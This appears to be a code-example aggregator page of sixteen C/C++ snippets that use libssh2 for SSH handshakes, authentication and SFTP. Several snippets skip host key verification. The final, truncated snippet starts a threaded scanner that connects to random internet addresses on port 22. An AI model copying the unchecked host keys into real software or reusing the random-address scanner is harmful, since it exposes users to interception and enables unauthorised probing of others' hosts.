Пример #1
1
Файл: ssh.c Проект: 3mao/stool
int ssh_init(SSH * pSsh, char * pIp,char * pUsername, char * pPassword)
{
	int ret;
	int type;
	const char * fingerprint;
	 size_t len;
	if (NULL==pSsh)
	{
		return 0;
	}
	
	pSsh->sock_fd=socket(AF_INET, SOCK_STREAM, 0);
	pSsh->sin.sin_family = AF_INET;
	pSsh->sin.sin_port = htons(22);
	pSsh->sin.sin_addr.s_addr = inet_addr(pIp);

	ret = libssh2_init (0);
	if (ret != 0) {
		fprintf (stderr, "libssh2 initialization failed (%d)\n", ret);
		return 1;
	}

	if (connect(pSsh->sock_fd, (struct sockaddr*)(&pSsh->sin),
		sizeof(struct sockaddr_in)) != 0) {
			fprintf(stderr, "failed to connect!\n");
			return -1;
	}

	pSsh->session=libssh2_session_init();

	if (!pSsh->session)
		return 0;

	libssh2_session_set_blocking(pSsh->session, 0);

	while ((ret = libssh2_session_handshake(pSsh->session, pSsh->sock_fd)) ==
		LIBSSH2_ERROR_EAGAIN);
	if (ret) {
		fprintf(stderr, "Failure establishing SSH session: %d\n", ret);
		return -1;
	}


	pSsh->nh = libssh2_knownhost_init(pSsh->session);
	if(!pSsh->nh) {
		/* eeek, do cleanup here */
		return 2;
	}

	libssh2_knownhost_readfile(pSsh->nh, "known_hosts",
		LIBSSH2_KNOWNHOST_FILE_OPENSSH);
	libssh2_knownhost_writefile(pSsh->nh, "dumpfile",
		LIBSSH2_KNOWNHOST_FILE_OPENSSH);

	fingerprint = libssh2_session_hostkey(pSsh->session, &len, &type);
	if(fingerprint) {
		struct libssh2_knownhost *host;
		int check = libssh2_knownhost_checkp(pSsh->nh, pIp, 22,
			fingerprint, len,
			LIBSSH2_KNOWNHOST_TYPE_PLAIN|
			LIBSSH2_KNOWNHOST_KEYENC_RAW,
			&host);
		fprintf(stderr, "Host check: %d, key: %s\n", check,
                (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)?
                host->key:"<none>");

        /*****
         * At this point, we could verify that 'check' tells us the key is
         * fine or bail out.
         *****/
    }
    else {
        /* eeek, do cleanup here */
        return 3;
    }
    libssh2_knownhost_free(pSsh->nh);

    if ( strlen(pPassword) != 0 ) {
        /* We could authenticate via password */
        while ((ret = libssh2_userauth_password(pSsh->session, pUsername, pPassword)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (ret) {
            fprintf(stderr, "Authentication by password failed.\n");
            //goto shutdown;
        }
    }
    else {
        /* Or by public key */
        while ((ret = libssh2_userauth_publickey_fromfile(pSsh->session, pUsername,
                                                         "/home/user/"
                                                         ".ssh/id_rsa.pub",
                                                         "/home/user/"
                                                         ".ssh/id_rsa",
                                                         pPassword)) ==
               LIBSSH2_ERROR_EAGAIN);
        if (ret) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            //goto shutdown;
        }
    }

	fprintf(stderr,"ssh_init\n");
	return 0;
}
Пример #2
1
int main(int argc, char *argv[])
{
    const char *hostname = "127.0.0.1";
    const char *commandline = "uptime";
    const char *username    = "******";
    const char *password    = "******";
    unsigned long hostaddr;
    int sock;
    struct sockaddr_in sin;
    const char *fingerprint;
    LIBSSH2_SESSION *session;
    LIBSSH2_CHANNEL *channel;
    int rc;
    int exitcode;
    char *exitsignal=(char *)"none";
    int bytecount = 0;
    size_t len;
    LIBSSH2_KNOWNHOSTS *nh;
    int type;

#ifdef WIN32
    WSADATA wsadata;
    int err;

    err = WSAStartup(MAKEWORD(2,0), &wsadata);
    if (err != 0) {
        fprintf(stderr, "WSAStartup failed with error: %d\n", err);
        return 1;
    }
#endif

    if (argc > 1)
        /* must be ip address only */
        hostname = argv[1];

    if (argc > 2) {
        username = argv[2];
    }
    if (argc > 3) {
        password = argv[3];
    }
    if (argc > 4) {
        commandline = argv[4];
    }

    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return 1;
    }

    hostaddr = inet_addr(hostname);

    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
    sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return -1;
    }

    /* Create a session instance */
    session = libssh2_session_init();
    if (!session)
        return -1;

    /* tell libssh2 we want it all done non-blocking */
    libssh2_session_set_blocking(session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    while ((rc = libssh2_session_handshake(session, sock)) ==
            LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return -1;
    }

    nh = libssh2_knownhost_init(session);
    if(!nh) {
        /* eeek, do cleanup here */
        return 2;
    }

    /* read all hosts from here */
    libssh2_knownhost_readfile(nh, "known_hosts",
                               LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    /* store all known hosts to here */
    libssh2_knownhost_writefile(nh, "dumpfile",
                                LIBSSH2_KNOWNHOST_FILE_OPENSSH);

    fingerprint = libssh2_session_hostkey(session, &len, &type);
    if(fingerprint) {
        struct libssh2_knownhost *host;
#if LIBSSH2_VERSION_NUM >= 0x010206
        /* introduced in 1.2.6 */
        int check = libssh2_knownhost_checkp(nh, hostname, 22,
                                             fingerprint, len,
                                             LIBSSH2_KNOWNHOST_TYPE_PLAIN|
                                             LIBSSH2_KNOWNHOST_KEYENC_RAW,
                                             &host);
#else
        /* 1.2.5 or older */
        int check = libssh2_knownhost_check(nh, hostname,
                                            fingerprint, len,
                                            LIBSSH2_KNOWNHOST_TYPE_PLAIN|
                                            LIBSSH2_KNOWNHOST_KEYENC_RAW,
                                            &host);
#endif
        fprintf(stderr, "Host check: %d, key: %s\n", check,
                (check <= LIBSSH2_KNOWNHOST_CHECK_MISMATCH)?
                host->key:"<none>");

        /*****
         * At this point, we could verify that 'check' tells us the key is
         * fine or bail out.
         *****/
    }
    else {
        /* eeek, do cleanup here */
        return 3;
    }
    libssh2_knownhost_free(nh);

    if ( strlen(password) != 0 ) {
        /* We could authenticate via password */
        while ((rc = libssh2_userauth_password(session, username, password)) ==
                LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "Authentication by password failed.\n");
            goto shutdown;
        }
    }
    else {
        /* Or by public key */
        while ((rc = libssh2_userauth_publickey_fromfile(session, username,
                     "/home/user/"
                     ".ssh/id_rsa.pub",
                     "/home/user/"
                     ".ssh/id_rsa",
                     password)) ==
                LIBSSH2_ERROR_EAGAIN);
        if (rc) {
            fprintf(stderr, "\tAuthentication by public key failed\n");
            goto shutdown;
        }
    }

#if 0
    libssh2_trace(session, ~0 );
#endif

    /* Exec non-blocking on the remove host */
    while( (channel = libssh2_channel_open_session(session)) == NULL &&
            libssh2_session_last_error(session,NULL,NULL,0) ==
            LIBSSH2_ERROR_EAGAIN )
    {
        waitsocket(sock, session);
    }
    if( channel == NULL )
    {
        fprintf(stderr,"Error\n");
        exit( 1 );
    }
    while( (rc = libssh2_channel_exec(channel, commandline)) ==
            LIBSSH2_ERROR_EAGAIN )
    {
        waitsocket(sock, session);
    }
    if( rc != 0 )
    {
        fprintf(stderr,"Error\n");
        exit( 1 );
    }
    for( ;; )
    {
        /* loop until we block */
        int rc;
        do
        {
            char buffer[0x4000];
            rc = libssh2_channel_read( channel, buffer, sizeof(buffer) );
            if( rc > 0 )
            {
                int i;
                bytecount += rc;
                fprintf(stderr, "We read:\n");
                for( i=0; i < rc; ++i )
                    fputc( buffer[i], stderr);
                fprintf(stderr, "\n");
            }
            else {
                if( rc != LIBSSH2_ERROR_EAGAIN )
                    /* no need to output this for the EAGAIN case */
                    fprintf(stderr, "libssh2_channel_read returned %d\n", rc);
            }
        }
        while( rc > 0 );

        /* this is due to blocking that would occur otherwise so we loop on
           this condition */
        if( rc == LIBSSH2_ERROR_EAGAIN )
        {
            waitsocket(sock, session);
        }
        else
            break;
    }
    exitcode = 127;
    while( (rc = libssh2_channel_close(channel)) == LIBSSH2_ERROR_EAGAIN )
        waitsocket(sock, session);

    if( rc == 0 )
    {
        exitcode = libssh2_channel_get_exit_status( channel );
        libssh2_channel_get_exit_signal(channel, &exitsignal,
                                        NULL, NULL, NULL, NULL, NULL);
    }

    if (exitsignal)
        fprintf(stderr, "\nGot signal: %s\n", exitsignal);
    else
        fprintf(stderr, "\nEXIT: %d bytecount: %d\n", exitcode, bytecount);

    libssh2_channel_free(channel);
    channel = NULL;

shutdown:

    libssh2_session_disconnect(session,
                               "Normal Shutdown, Thank you for playing");
    libssh2_session_free(session);

#ifdef WIN32
    closesocket(sock);
#else
    close(sock);
#endif
    fprintf(stderr, "all done\n");

    libssh2_exit();

    return 0;
}
Пример #3
0
        void client_d::connect() {
            try {
               if( libssh2_init(0) < 0  ) {
                 MACE_SSH_THROW( "Unable to init libssh2" );
               }
               
               slog( "resolve %1%:%2%", hostname, port );
               std::vector<mace::cmt::asio::tcp::endpoint> eps 
                 = mace::cmt::asio::tcp::resolve( hostname, boost::lexical_cast<std::string>(port));
               slog( "resolved %1% options", eps.size() );
               
               if( eps.size() == 0 ) {
                 MACE_SSH_THROW( "Hostname '%1%' didn't resolve to any endpoints", %hostname );
               }
               
               m_sock.reset( new boost::asio::ip::tcp::socket( mace::cmt::asio::default_io_service() ) );
               
               for( uint32_t i = 0; i < eps.size(); ++i ) {
                  try {
                    mace::cmt::asio::tcp::connect( *m_sock, eps[i] );
                    endpt = eps[i];
                    break;
                  } catch ( ... ) {}
               }

               slog( "Creating session" );

               m_session = libssh2_session_init(); 
               *libssh2_session_abstract(m_session) = this;


               BOOST_ASSERT( m_session );
               
               // use non-blocking calls so that we know when to call wait_on_socket
               libssh2_session_set_blocking( m_session, 0 );
               
               // perform the session handshake, and keep trying while EAGAIN
               int ec = libssh2_session_handshake( m_session, m_sock->native() );
               while( ec == LIBSSH2_ERROR_EAGAIN ) {
                 wait_on_socket();
                 ec = libssh2_session_handshake( m_session, m_sock->native() );
               }

               // if there was an error, throw it.
               if( ec < 0 ) {
                 char* msg;
                 libssh2_session_last_error( m_session, &msg, 0, 0 );
                 MACE_SSH_THROW( "Handshake error: %1% - %2%", %ec %msg );
               }
Пример #4
0
void CLibssh2::handshake()
{
    LIBSSH2_SESSION* session = static_cast<LIBSSH2_SESSION*>(_session);

    while (true)
    {
        // ssh2握手
        int errcode = libssh2_session_handshake(session, _socket_fd);
        if (0 == errcode)
        {
            break;
        }
        else if (errcode != LIBSSH2_ERROR_EAGAIN)
        {
            THROW_EXCEPTION(get_session_errmsg(), get_session_errcode());
        }
        else
        {
            if (!timedwait_socket())
            {
                THROW_SYSCALL_EXCEPTION("handshake timeout", ETIMEDOUT, "poll");
            }
        }
    }
}
Пример #5
0
void getClient(char * serverAddress) {
    int sockFd = makeSocketOrDie();
    struct addrinfo * serverInfo = getServerInfo(serverAddress);
	printf("Connecting to server\n");
    connectOrDie(sockFd, serverInfo);
	printf("Connected to server.  Making LIBSSH2 session\n");
    LIBSSH2_SESSION * session = makeSession();
    libssh2_session_set_blocking(session, 1);
	libssh2_session_set_timeout(session, 5000);
	printf("Made session, handshaking\n");
    int result = libssh2_session_handshake(session, sockFd);
    //const char * fingerprint = libssh2_hostkey_hash(session, LIBSSH_HOSTKEY_HASH_SHA1);
    //TODO: Match the fingerprint against something.
    if (result) {
		char * errorMessage;
		libssh2_session_last_error(session, &errorMessage, NULL, 0);
		fprintf(stderr, "Error %s handshaking\n", errorMessage);
		exit(EXIT_FAILURE);
	}
    printf("Handshake completed, making SFTP Session\n");
	libssh2_userauth_password(session, NETID, PWD);
    LIBSSH2_SFTP * sftpSession = makeSFTPSession(session);
	printf("Started SFTP - Downloading file\n");
    LIBSSH2_SFTP_HANDLE * fileHandle = libssh2_sftp_open(sftpSession, serverFilePath, LIBSSH2_FXF_READ, 0);
	readFile(session, sftpSession, fileHandle);
    libssh2_sftp_shutdown(sftpSession);
    libssh2_session_disconnect(session, "Done.\n");
    libssh2_session_free(session);
    freeaddrinfo(serverInfo);
    close(sockFd);
}
Пример #6
0
static int _git_ssh_session_create(
	LIBSSH2_SESSION** session,
	git_stream *io)
{
	int rc = 0;
	LIBSSH2_SESSION* s;
	git_socket_stream *socket = (git_socket_stream *) io;

	assert(session);

	s = libssh2_session_init();
	if (!s) {
		giterr_set(GITERR_NET, "failed to initialize SSH session");
		return -1;
	}

	do {
		rc = libssh2_session_handshake(s, socket->s);
	} while (LIBSSH2_ERROR_EAGAIN == rc || LIBSSH2_ERROR_TIMEOUT == rc);

	if (rc != LIBSSH2_ERROR_NONE) {
		ssh_error(s, "failed to start SSH session");
		libssh2_session_free(s);
		return -1;
	}

	libssh2_session_set_blocking(s, 1);

	*session = s;

	return 0;
}
Пример #7
0
int logon(char* username, char* pass, LIBSSH2_SESSION **session, int sock)
{
    int rc;
    /* Create a session instance */
    if((*session = libssh2_session_init()) == NULL) return -1;
    //libssh2_session_set_blocking(*session, 0);
    libssh2_session_set_blocking(*session, 1);
    //while ((rc = libssh2_session_handshake(*session, sock)) == LIBSSH2_ERROR_EAGAIN);
    rc = libssh2_session_handshake(*session, sock);
    if(rc)
    {
        fprintf(stderr, "Failure establishing SSH session: %d %s\n", rc, strerror(errno));
        return -1;
    }
    
//    while ((rc = libssh2_userauth_password(*session, username, pass)) == LIBSSH2_ERROR_EAGAIN);
    rc = libssh2_userauth_password(*session, username, pass);
    if (rc) 
    {
        fprintf(stderr, "Authentication by password failed.\n");
        if(*session != NULL)
        {
            libssh2_session_disconnect(*session, "");
            libssh2_session_free(*session);
        }
        close(sock);
        libssh2_exit();
        return 0;
    }
}
Пример #8
0
void cql_ccm_bridge_t::start_ssh_connection(const cql_ccm_bridge_configuration_t& settings) {
  _ssh_internals->_session = libssh2_session_init();
  if (!_ssh_internals->_session)
    throw cql_ccm_bridge_exception_t("cannot create ssh session");

  try {
    if (libssh2_session_handshake(_ssh_internals->_session, _socket))
      throw cql_ccm_bridge_exception_t("ssh session handshake failed");

    // get authentication modes supported by server
    char* auth_methods = libssh2_userauth_list(_ssh_internals->_session,
                                               settings.ssh_username().c_str(),
                                               settings.ssh_username().size());

    int auth_result;
    if (!settings.ssh_public_key_file().empty() && !settings.ssh_private_key_file().empty()) {
      auth_result = libssh2_userauth_publickey_fromfile(_ssh_internals->_session,
                                                        settings.ssh_username().c_str(),
                                                        settings.ssh_public_key_file().c_str(),
                                                        settings.ssh_private_key_file().c_str(),
                                                        "");
    } else {
      if (strstr(auth_methods, "password") == NULL)
        throw cql_ccm_bridge_exception_t("server doesn't support authentication by password");

      // try to login using username and password
      auth_result = libssh2_userauth_password(_ssh_internals->_session,
                                              settings.ssh_username().c_str(),
                                              settings.ssh_password().c_str());
    }

    if (auth_result != 0)
      throw cql_ccm_bridge_exception_t("invalid password or user");

    if (!(_ssh_internals->_channel = libssh2_channel_open_session(_ssh_internals->_session)))
      throw cql_ccm_bridge_exception_t("cannot open ssh session");

    try {

      if (libssh2_channel_request_pty(_ssh_internals->_channel, "vanilla"))
        throw cql_ccm_bridge_exception_t("pty requests failed");

      if (libssh2_channel_shell(_ssh_internals->_channel))
        throw cql_ccm_bridge_exception_t("cannot open shell");

      //TODO: Copy SSL files to remote connection for CCM to enable SSL with Cassandra instances (or use keytool to simply generate the files remotely)
    } catch (cql_ccm_bridge_exception_t&) {
      // calls channel_close
      libssh2_channel_free(_ssh_internals->_channel);
    }
  } catch (cql_ccm_bridge_exception_t&) {
    close_ssh_session();
    throw;
  }
}
Пример #9
0
ssh_conn_t *ssh_connect(param_t *params)
{
	int rc;
    struct sockaddr_in sin;
	unsigned long hostaddr;
	ssh_conn_t *pcon = (ssh_conn_t*)malloc(sizeof(ssh_conn_t));
	
    rc = libssh2_init (0);
    if (rc != 0) {
        fprintf (stderr, "libssh2 initialization failed (%d)\n", rc);
        return NULL;
    }
	
    /* Ultra basic "connect to port 22 on localhost"
     * Your code is responsible for creating the socket establishing the
     * connection
     */
	hostaddr = inet_addr(params->hostname);
    pcon->sock = socket(AF_INET, SOCK_STREAM, 0);

    sin.sin_family = AF_INET;
    sin.sin_port = htons(22);
    sin.sin_addr.s_addr = hostaddr;
    if (connect(pcon->sock, (struct sockaddr*)(&sin),
                sizeof(struct sockaddr_in)) != 0) {
        fprintf(stderr, "failed to connect!\n");
        return NULL;
    }

    /* Create a session instance */
    pcon->session = libssh2_session_init();
    if (!pcon->session)
        return NULL;

    /* tell libssh2 we want it all done non-blocking */
    libssh2_session_set_blocking(pcon->session, 0);

    /* ... start it up. This will trade welcome banners, exchange keys,
     * and setup crypto, compression, and MAC layers
     */
    while ((rc = libssh2_session_handshake(pcon->session, pcon->sock)) ==
           LIBSSH2_ERROR_EAGAIN);
    if (rc) {
        fprintf(stderr, "Failure establishing SSH session: %d\n", rc);
        return NULL;
    }

	return pcon;
shutdown:
	return NULL;
}	
Пример #10
0
static int connect_to_server()
{
    int rc;
    connected_socket = open_socket_to_openssh_server();
    if(connected_socket <= 0) {
        return -1;
    }

    rc = libssh2_session_handshake(connected_session, connected_socket);
    if(rc != 0) {
        print_last_session_error("libssh2_session_handshake");
        return -1;
    }

    return 0;
}
utils::TaskState RemoteSessionHandle::DoHandshake()
{
    int rc = libssh2_session_handshake(sessionHandle.GetSession(), sock->native_handle());

    if (rc == LIBSSH2_ERROR_EAGAIN)
    {
        return utils::TASK_WORKING;
    }

    if (rc)
    {
        BOOST_THROW_EXCEPTION(SSHHandshakeError{} <<
            ssh_error_string{"RemoteSessionHandle: Error " + lexical_cast<string>(rc) +
            " during SSH handshake"} << ssh_error_id{rc});
    }

    return utils::TASK_DONE;
}
Пример #12
0
static void
ssh_handshake_cb(obfsproxyssh_client_session_t *session)
{
	int rval;
	evutil_socket_t fd = bufferevent_getfd(session->ssh_ev);

	rval = libssh2_session_handshake(session->ssh_session, fd);
	if (LIBSSH2_ERROR_EAGAIN == rval)
		return;
	else if (0 != rval || 0 != ssh_validate_hostkey(session)) {
		libssh2_session_free(session->ssh_session);
		session->ssh_session = NULL;
		session_free(session);
		return;
	}

	session->libssh2_cb = ssh_auth_cb;
	session->libssh2_cb(session);
}
Пример #13
0
static LIBSSH2_SESSION* __guac_ssh_create_session(guac_client* client,
        int* socket_fd) {

    int retval;

    int fd;
    struct addrinfo* addresses;
    struct addrinfo* current_address;

    char connected_address[1024];
    char connected_port[64];

    ssh_guac_client_data* client_data = (ssh_guac_client_data*) client->data;

    struct addrinfo hints = {
        .ai_family   = AF_UNSPEC,
        .ai_socktype = SOCK_STREAM,
        .ai_protocol = IPPROTO_TCP
    };

    /* Get socket */
    fd = socket(AF_INET, SOCK_STREAM, 0);

    /* Get addresses connection */
    if ((retval = getaddrinfo(client_data->hostname, client_data->port,
                    &hints, &addresses))) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR, "Error parsing given address or port: %s",
                gai_strerror(retval));
        return NULL;

    }

    /* Attempt connection to each address until success */
    current_address = addresses;
    while (current_address != NULL) {

        int retval;

        /* Resolve hostname */
        if ((retval = getnameinfo(current_address->ai_addr,
                current_address->ai_addrlen,
                connected_address, sizeof(connected_address),
                connected_port, sizeof(connected_port),
                NI_NUMERICHOST | NI_NUMERICSERV)))
            guac_client_log_info(client, "Unable to resolve host: %s", gai_strerror(retval));

        /* Connect */
        if (connect(fd, current_address->ai_addr,
                        current_address->ai_addrlen) == 0) {

            guac_client_log_info(client, "Successfully connected to "
                    "host %s, port %s", connected_address, connected_port);

            /* Done if successful connect */
            break;

        }

        /* Otherwise log information regarding bind failure */
        else
            guac_client_log_info(client, "Unable to connect to "
                    "host %s, port %s: %s",
                    connected_address, connected_port, strerror(errno));

        current_address = current_address->ai_next;

    }

    /* If unable to connect to anything, fail */
    if (current_address == NULL) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "Unable to connect to any addresses.");
        return NULL;
    }

    /* Free addrinfo */
    freeaddrinfo(addresses);

    /* Open SSH session */
    LIBSSH2_SESSION* session = libssh2_session_init_ex(NULL, NULL,
            NULL, client);
    if (session == NULL) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_SERVER_ERROR, "Session allocation failed.");
        return NULL;
    }

    /* Perform handshake */
    if (libssh2_session_handshake(session, fd)) {
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_UPSTREAM_ERROR, "SSH handshake failed.");
        return NULL;
    }

    /* Save file descriptor */
    if (socket_fd != NULL)
        *socket_fd = fd;

    /* Authenticate with key if available */
    if (client_data->key != NULL) {
        if (!libssh2_userauth_publickey(session, client_data->username,
                    (unsigned char*) client_data->key->public_key,
                    client_data->key->public_key_length,
                    __sign_callback, (void**) client_data->key))
            return session;
        else {
            char* error_message;
            libssh2_session_last_error(session, &error_message, NULL, 0);
            guac_client_abort(client, GUAC_PROTOCOL_STATUS_CLIENT_UNAUTHORIZED,
                    "Public key authentication failed: %s", error_message);
            return NULL;
        }
    }

    /* Authenticate with password */
    if (!libssh2_userauth_password(session, client_data->username,
                client_data->password))
        return session;

    else {
        char* error_message;
        libssh2_session_last_error(session, &error_message, NULL, 0);
        guac_client_abort(client, GUAC_PROTOCOL_STATUS_CLIENT_UNAUTHORIZED,
                "Password authentication failed: %s", error_message);
        return NULL;
    }

}
Пример #14
0
static int connect_to_ssh(BDRVSSHState *s, QDict *options,
                          int ssh_flags, int creat_mode, Error **errp)
{
    int r, ret;
    const char *host, *user, *path, *host_key_check;
    int port;

    if (!qdict_haskey(options, "host")) {
        ret = -EINVAL;
        error_setg(errp, "No hostname was specified");
        goto err;
    }
    host = qdict_get_str(options, "host");

    if (qdict_haskey(options, "port")) {
        port = qdict_get_int(options, "port");
    } else {
        port = 22;
    }

    if (!qdict_haskey(options, "path")) {
        ret = -EINVAL;
        error_setg(errp, "No path was specified");
        goto err;
    }
    path = qdict_get_str(options, "path");

    if (qdict_haskey(options, "user")) {
        user = qdict_get_str(options, "user");
    } else {
        user = g_get_user_name();
        if (!user) {
            error_setg_errno(errp, errno, "Can't get user name");
            ret = -errno;
            goto err;
        }
    }

    if (qdict_haskey(options, "host_key_check")) {
        host_key_check = qdict_get_str(options, "host_key_check");
    } else {
        host_key_check = "yes";
    }

    /* Construct the host:port name for inet_connect. */
    g_free(s->hostport);
    s->hostport = g_strdup_printf("%s:%d", host, port);

    /* Open the socket and connect. */
    s->sock = inet_connect(s->hostport, errp);
    if (s->sock < 0) {
        ret = -errno;
        goto err;
    }

    /* Create SSH session. */
    s->session = libssh2_session_init();
    if (!s->session) {
        ret = -EINVAL;
        session_error_setg(errp, s, "failed to initialize libssh2 session");
        goto err;
    }

#if TRACE_LIBSSH2 != 0
    libssh2_trace(s->session, TRACE_LIBSSH2);
#endif

    r = libssh2_session_handshake(s->session, s->sock);
    if (r != 0) {
        ret = -EINVAL;
        session_error_setg(errp, s, "failed to establish SSH session");
        goto err;
    }

    /* Check the remote host's key against known_hosts. */
    ret = check_host_key(s, host, port, host_key_check, errp);
    if (ret < 0) {
        goto err;
    }

    /* Authenticate. */
    ret = authenticate(s, user, errp);
    if (ret < 0) {
        goto err;
    }

    /* Start SFTP. */
    s->sftp = libssh2_sftp_init(s->session);
    if (!s->sftp) {
        session_error_setg(errp, s, "failed to initialize sftp handle");
        ret = -EINVAL;
        goto err;
    }

    /* Open the remote file. */
    DPRINTF("opening file %s flags=0x%x creat_mode=0%o",
            path, ssh_flags, creat_mode);
    s->sftp_handle = libssh2_sftp_open(s->sftp, path, ssh_flags, creat_mode);
    if (!s->sftp_handle) {
        session_error_setg(errp, s, "failed to open remote file '%s'", path);
        ret = -EINVAL;
        goto err;
    }

    r = libssh2_sftp_fstat(s->sftp_handle, &s->attrs);
    if (r < 0) {
        sftp_error_setg(errp, s, "failed to read file attributes");
        return -EINVAL;
    }

    /* Delete the options we've used; any not deleted will cause the
     * block layer to give an error about unused options.
     */
    qdict_del(options, "host");
    qdict_del(options, "port");
    qdict_del(options, "user");
    qdict_del(options, "path");
    qdict_del(options, "host_key_check");

    return 0;

 err:
    if (s->sftp_handle) {
        libssh2_sftp_close(s->sftp_handle);
    }
    s->sftp_handle = NULL;
    if (s->sftp) {
        libssh2_sftp_shutdown(s->sftp);
    }
    s->sftp = NULL;
    if (s->session) {
        libssh2_session_disconnect(s->session,
                                   "from qemu ssh client: "
                                   "error opening connection");
        libssh2_session_free(s->session);
    }
    s->session = NULL;

    return ret;
}
Пример #15
0
SSH_SESSION_STATE SSHSession::begin_session(){

    /////////////////////////////////////////////
    //Perform the connect call
    if(this->state == ::SESSION_PERFORM_CONNECT || this->state == ::SESSION_CLOSED){

        int ret = ::connect(this->sock, (struct sockaddr*)(&this->addr), sizeof(struct sockaddr_in));

#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
        int ec = WSAGetLastError();
        if(ret == SOCKET_ERROR &&  ec == WSAEWOULDBLOCK) {
            this->state = ::SESSION_SELECT_SOCKET;
         }
#else
    if(ret == -1 &&  errno == EINPROGRESS) {
           this->state = ::SESSION_SELECT_SOCKET;
    }
#endif
        //Success (will most likely never happen) ?
        else if(ret == 0){
            this->state = ::SESSION_PERFORM_INIT;

        //Major error
        } else{
            this->running_procs--;
            this->state = ::SESSION_OPEN_ERROR;
        }

    /////////////////////////////////////////////
    //Poll the socket after connect()
    }else if(this->state == ::SESSION_SELECT_SOCKET){

        fd_set fd_write, fd_error;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
         TIMEVAL timeout;
#else
        struct timeval timeout;
#endif
        // timeout after 10 seconds
        int timeoutSec = 10;

        FD_ZERO(&fd_write);
        FD_ZERO(&fd_error);
        FD_SET(this->sock, &fd_write);
        FD_SET(this->sock, &fd_error);

        timeout.tv_sec = timeoutSec;
        timeout.tv_usec = 0;


#if defined( WIN32 ) || defined( _WIN32 ) || defined( __WIN32 ) && !defined( __CYGWIN__ )
        int ret = select( 0, NULL, &fd_write, &fd_error, &timeout );
#else
        int ret = select( this->sock + 1, NULL, &fd_write, &fd_error, &timeout );
#endif

        //Timed out ?
        if(ret == 0) {
            this->state = ::SESSION_OPEN_ERROR;
        }else{
            //socket data ?
            if(FD_ISSET(this->sock, &fd_write)) {
                this->state = ::SESSION_PERFORM_INIT;
                fprintf(stderr, "connect done..\n");
            }
            //socket error
            else if(FD_ISSET(this->sock, &fd_error)) {
                this->state = ::SESSION_OPEN_ERROR;
                this->running_procs--;
                fprintf(stderr, "connect error..\n");
            //Continue polling next pass
            }else{
                this->state = ::SESSION_SELECT_SOCKET;
            }

        }

    /////////////////////////////////////////////
    //Initialize the libssh2 session object
     }else if(this->state  == ::SESSION_PERFORM_INIT){

        //Create a session instance
        this->session = libssh2_session_init();
        if(!this->session){
            this->state = ::SESSION_OPEN_ERROR;
        }

        //Notify libssh2 we are non-blocking
        libssh2_session_set_blocking(this->session, 0);

        //Move on to the next step
        this->state = ::SESSION_PERFORM_HANDSHAKE;

    /////////////////////////////////////////////////////////////////////////////
    //Exchange welcome banners,keys and setup crypto, compression, and MAC layers
    }else if(this->state == ::SESSION_PERFORM_HANDSHAKE){

        rc = libssh2_session_handshake(this->session, this->sock);
        //Blocking ?
        if(rc == LIBSSH2_ERROR_EAGAIN){
            this->state = ::SESSION_PERFORM_HANDSHAKE;
        //Failure?
        }else if(rc){
            this->state = ::SESSION_OPEN_ERROR;
            this->running_procs--;
        }
        //success ?
        else if(rc == 0) {
            this->state = ::SESSION_PERFORM_AUTH;

            //Check the hostkey's fingerprint against know/stored fingerprint
            //const char* fingerprint = libssh2_hostkey_hash(this->session, LIBSSH2_HOSTKEY_HASH_SHA1);

            /*fprintf(stderr, "Fingerprint: ");
            qDebug() << "Fingerprint: ";
            for(i = 0; i < 20; i++) {
                    qDebug() <<  QString((unsigned char)fingerprint[i]);
            }*/

        }

    //////////////////////////
    //Perform authentication
    } else if(this->state == ::SESSION_PERFORM_AUTH){

        //Authenticate via password
        rc = libssh2_userauth_password(this->session, this->username.toUtf8().constData(), this->password.toUtf8().constData()) ;

        //blocking
        if(rc == LIBSSH2_ERROR_EAGAIN){
            this->state = ::SESSION_PERFORM_AUTH;
        }
        //failure?
        else if(rc){
            this->state = ::SESSION_OPEN_ERROR;
            this->running_procs--;
            qDebug() << "auth failed..\n";

        //success ?
        }else if(rc == 0){
            this->state = ::SESSION_OPEN;
            qDebug() << "auth done..\n";
            this->running_procs--;
            qDebug() << this->running_procs;

        }
    }

    return this->state;
}
Пример #16
0
void* thread_func(void* arg)
{
    int sockfd;
    sockaddr_in serv_addr;
    char curhost[26];
    boost::random::uniform_int_distribution<> dist(1, 9999999999999);//numeric_limits< unsigned long>::max());
    boost::random::mt19937 gen((int)pthread_self()+(int)time(NULL));
    LIBSSH2_SESSION *session=0;
    // HCkSsh ssh;
    srand((int)pthread_self()+rand()+time(NULL));
    while (do_scan)
    {
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        if (sockfd < 0)
            deb("ERROR opening socket: %s\r\n",fmterr());
        setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
        long flags;
        flags		  = fcntl(sockfd, F_GETFL, 0);
        fcntl(sockfd, F_SETFL, flags | O_NONBLOCK);
        bzero((char *) &serv_addr, sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(22);
        do
        {
            serv_addr.sin_addr.s_addr =   dist(gen);//getrnd(0,100000000000000);//rand();//inet_addr("195.2.253.204")
        }
        while (ischecking(serv_addr.sin_addr.s_addr));
